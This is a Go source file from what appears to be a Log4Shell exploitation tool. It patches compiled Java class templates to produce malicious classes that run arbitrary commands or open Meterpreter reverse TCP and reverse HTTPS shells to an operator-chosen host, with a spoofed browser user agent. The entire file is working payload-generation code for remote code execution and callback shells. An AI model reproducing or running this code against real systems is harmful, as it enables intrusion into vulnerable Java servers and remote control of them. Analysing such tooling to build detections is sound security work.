-
Notifications
You must be signed in to change notification settings - Fork 19
/
generator.go
356 lines (310 loc) · 9.89 KB
/
generator.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
package log4shell
import (
"bytes"
"encoding/binary"
"fmt"
"strconv"
"github.com/pkg/errors"
)
// GenerateExecute is used to generate class file for execute command.
func GenerateExecute(template []byte, command, class string) ([]byte, error) {
const (
fileName = "Execute.java"
commandFlag = "${cmd}"
className = "Execute\x01"
uint16Size = 2
)
err := checkJavaClass(template)
if err != nil {
return nil, err
}
// find three special strings
fileNameIdx := bytes.Index(template, []byte(fileName))
if fileNameIdx == -1 {
return nil, errors.New("failed to find file name in execute template")
}
commandIdx := bytes.Index(template, []byte(commandFlag))
if commandIdx == -1 {
return nil, errors.New("failed to find command flag in execute template")
}
classNameIdx := bytes.Index(template, []byte(className))
if classNameIdx == -1 {
return nil, errors.New("failed to find class name in execute template")
}
// check arguments
if command == "" {
return nil, errors.New("empty command")
}
if class == "" {
class = "Execute"
}
// generate output class file
output := bytes.NewBuffer(make([]byte, 0, len(template)+128))
// change file name
output.Write(template[:fileNameIdx-uint16Size])
newFileName := class + ".java"
size := beUint16ToBytes(uint16(len(newFileName)))
output.Write(size)
output.WriteString(newFileName)
// change command
output.Write(template[fileNameIdx+len(fileName) : commandIdx-uint16Size])
size = beUint16ToBytes(uint16(len(command)))
output.Write(size)
output.WriteString(command)
// change class name
output.Write(template[commandIdx+len(commandFlag) : classNameIdx-uint16Size])
size = beUint16ToBytes(uint16(len(class)))
output.Write(size)
output.WriteString(class)
output.Write(template[classNameIdx+len(className)-1:])
return output.Bytes(), nil
}
// GenerateSystem is used to generate class file for execute command with arguments.
func GenerateSystem(template []byte, binary, arguments, class string) ([]byte, error) {
const (
fileName = "System.java"
binaryFlag = "${bin}"
argumentFlag = "${args}"
className = "System\x01"
uint16Size = 2
)
err := checkJavaClass(template)
if err != nil {
return nil, err
}
// find three special strings
fileNameIdx := bytes.Index(template, []byte(fileName))
if fileNameIdx == -1 {
return nil, errors.New("failed to find file name in system template")
}
binaryIdx := bytes.Index(template, []byte(binaryFlag))
if binaryIdx == -1 {
return nil, errors.New("failed to find binary flag in system template")
}
argumentIdx := bytes.Index(template, []byte(argumentFlag))
if argumentIdx == -1 {
return nil, errors.New("failed to find argument flag in system template")
}
classNameIdx := bytes.Index(template, []byte(className))
if classNameIdx == -1 {
return nil, errors.New("failed to find class name in system template")
}
// check arguments
if binary == "" {
return nil, errors.New("empty binary")
}
if class == "" {
class = "System"
}
// generate output class file
output := bytes.NewBuffer(make([]byte, 0, len(template)+128))
// change file name
output.Write(template[:fileNameIdx-uint16Size])
newFileName := class + ".java"
size := beUint16ToBytes(uint16(len(newFileName)))
output.Write(size)
output.WriteString(newFileName)
// change binary
output.Write(template[fileNameIdx+len(fileName) : binaryIdx-uint16Size])
size = beUint16ToBytes(uint16(len(binary)))
output.Write(size)
output.WriteString(binary)
// change argument
output.Write(template[binaryIdx+len(binaryFlag) : argumentIdx-uint16Size])
size = beUint16ToBytes(uint16(len(arguments)))
output.Write(size)
output.WriteString(arguments)
// change class name
output.Write(template[argumentIdx+len(argumentFlag) : classNameIdx-uint16Size])
size = beUint16ToBytes(uint16(len(class)))
output.Write(size)
output.WriteString(class)
output.Write(template[classNameIdx+len(className)-1:])
return output.Bytes(), nil
}
// GenerateReverseTCP is used to generate class file for meterpreter
// payload/java/meterpreter/reverse_tcp.
func GenerateReverseTCP(template []byte, host string, port uint16, token, class string) ([]byte, error) {
const (
fileName = "ReverseTCP.java"
hostFlag = "${host}"
portFlag = "${port}"
tokenFlag = "${token}"
className = "ReverseTCP\x0C"
uint16Size = 2
)
err := checkJavaClass(template)
if err != nil {
return nil, err
}
// find three special strings
fileNameIdx := bytes.Index(template, []byte(fileName))
if fileNameIdx == -1 {
return nil, errors.New("failed to find file name in reverse_tcp template")
}
hostIdx := bytes.Index(template, []byte(hostFlag))
if hostIdx == -1 {
return nil, errors.New("failed to find host flag in reverse_tcp template")
}
portIdx := bytes.Index(template, []byte(portFlag))
if portIdx == -1 {
return nil, errors.New("failed to find port flag in reverse_tcp template")
}
tokenIdx := bytes.Index(template, []byte(tokenFlag))
if tokenIdx == -1 {
return nil, errors.New("failed to find token flag in reverse_tcp template")
}
classNameIdx := bytes.Index(template, []byte(className))
if classNameIdx == -1 {
return nil, errors.New("failed to find class name in reverse_tcp template")
}
// check arguments
if host == "" {
return nil, errors.New("empty host")
}
if port == 0 {
return nil, errors.New("zero port")
}
if token == "" {
token = randString(8)
}
if class == "" {
class = "ReverseTCP"
}
// generate output class file
output := bytes.NewBuffer(make([]byte, 0, len(template)+128))
// change file name
output.Write(template[:fileNameIdx-uint16Size])
newFileName := class + ".java"
size := beUint16ToBytes(uint16(len(newFileName)))
output.Write(size)
output.WriteString(newFileName)
// change host
output.Write(template[fileNameIdx+len(fileName) : hostIdx-uint16Size])
size = beUint16ToBytes(uint16(len(host)))
output.Write(size)
output.WriteString(host)
// change port
output.Write(template[hostIdx+len(hostFlag) : portIdx-uint16Size])
portStr := strconv.FormatUint(uint64(port), 10)
size = beUint16ToBytes(uint16(len(portStr)))
output.Write(size)
output.WriteString(portStr)
// change token(random)
output.Write(template[portIdx+len(portFlag) : tokenIdx-uint16Size])
size = beUint16ToBytes(uint16(len(token)))
output.Write(size)
output.WriteString(token)
// change class name
output.Write(template[tokenIdx+len(tokenFlag) : classNameIdx-uint16Size])
size = beUint16ToBytes(uint16(len(class)))
output.Write(size)
output.WriteString(class)
output.Write(template[classNameIdx+len(className)-1:])
return output.Bytes(), nil
}
// GenerateReverseHTTPS is used to generate class file for meterpreter
// payload/java/meterpreter/reverse_https.
func GenerateReverseHTTPS(template []byte, host string, port uint16, uri, ua, token, class string) ([]byte, error) {
const (
fileName = "ReverseHTTPS.java"
urlFlag = "${url}"
uaFlag = "${ua}"
tokenFlag = "${token}"
className = "ReverseHTTPS\x0C"
uint16Size = 2
)
// the last handler in the url, can not change it
const magic = "0YjdeS7_m93CecZoo8Ntkgs8lRd8_P50Ud2378Ggsvu0FX3VfHF2jbRAQxf" +
"Uk1UkljsZ0Pwz-_bPfTMmytR-fhVGYvyEm-bPNat3i0XRJnm5oH76MBegc7AG3hEe1J1W" +
"G3PDvddN5Id06qqBQR9lZAkJNzFB6VPRJmbsvp_LKp3JDg70FrOcjczkGSRbeht14__lN"
err := checkJavaClass(template)
if err != nil {
return nil, err
}
// find three special strings
fileNameIdx := bytes.Index(template, []byte(fileName))
if fileNameIdx == -1 {
return nil, errors.New("failed to find file name in reverse_https template")
}
urlIdx := bytes.Index(template, []byte(urlFlag))
if urlIdx == -1 {
return nil, errors.New("failed to find url flag in reverse_https template")
}
uaIdx := bytes.Index(template, []byte(uaFlag))
if uaIdx == -1 {
return nil, errors.New("failed to find ua flag in reverse_https template")
}
tokenIdx := bytes.Index(template, []byte(tokenFlag))
if tokenIdx == -1 {
return nil, errors.New("failed to find token flag in reverse_https template")
}
classNameIdx := bytes.Index(template, []byte(className))
if classNameIdx == -1 {
return nil, errors.New("failed to find class name in reverse_https template")
}
// check arguments
if host == "" {
return nil, errors.New("empty host")
}
if port == 0 {
return nil, errors.New("zero port")
}
if uri != "" {
uri = uri + "/"
}
if ua == "" {
ua = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko"
}
if token == "" {
token = randString(8)
}
if class == "" {
class = "ReverseHTTPS"
}
// generate output class file
output := bytes.NewBuffer(make([]byte, 0, len(template)+512))
// change file name
output.Write(template[:fileNameIdx-uint16Size])
newFileName := class + ".java"
size := beUint16ToBytes(uint16(len(newFileName)))
output.Write(size)
output.WriteString(newFileName)
// change url
url := fmt.Sprintf("https://%s:%d/%s"+magic, host, port, uri)
output.Write(template[fileNameIdx+len(fileName) : urlIdx-uint16Size])
size = beUint16ToBytes(uint16(len(url)))
output.Write(size)
output.WriteString(url)
// change user agent
output.Write(template[urlIdx+len(urlFlag) : uaIdx-uint16Size])
size = beUint16ToBytes(uint16(len(ua)))
output.Write(size)
output.WriteString(ua)
// change token(random)
output.Write(template[uaIdx+len(uaFlag) : tokenIdx-uint16Size])
size = beUint16ToBytes(uint16(len(token)))
output.Write(size)
output.WriteString(token)
// change class name
output.Write(template[tokenIdx+len(tokenFlag) : classNameIdx-uint16Size])
size = beUint16ToBytes(uint16(len(class)))
output.Write(size)
output.WriteString(class)
output.Write(template[classNameIdx+len(className)-1:])
return output.Bytes(), nil
}
func checkJavaClass(template []byte) error {
if len(template) < 4 {
return errors.New("invalid Java class template file size")
}
if !bytes.Equal(template[:2], []byte{0xCA, 0xFE}) {
return errors.New("invalid Java class template file")
}
return nil
}
func beUint16ToBytes(n uint16) []byte {
b := make([]byte, 2)
binary.BigEndian.PutUint16(b, n)
return b
}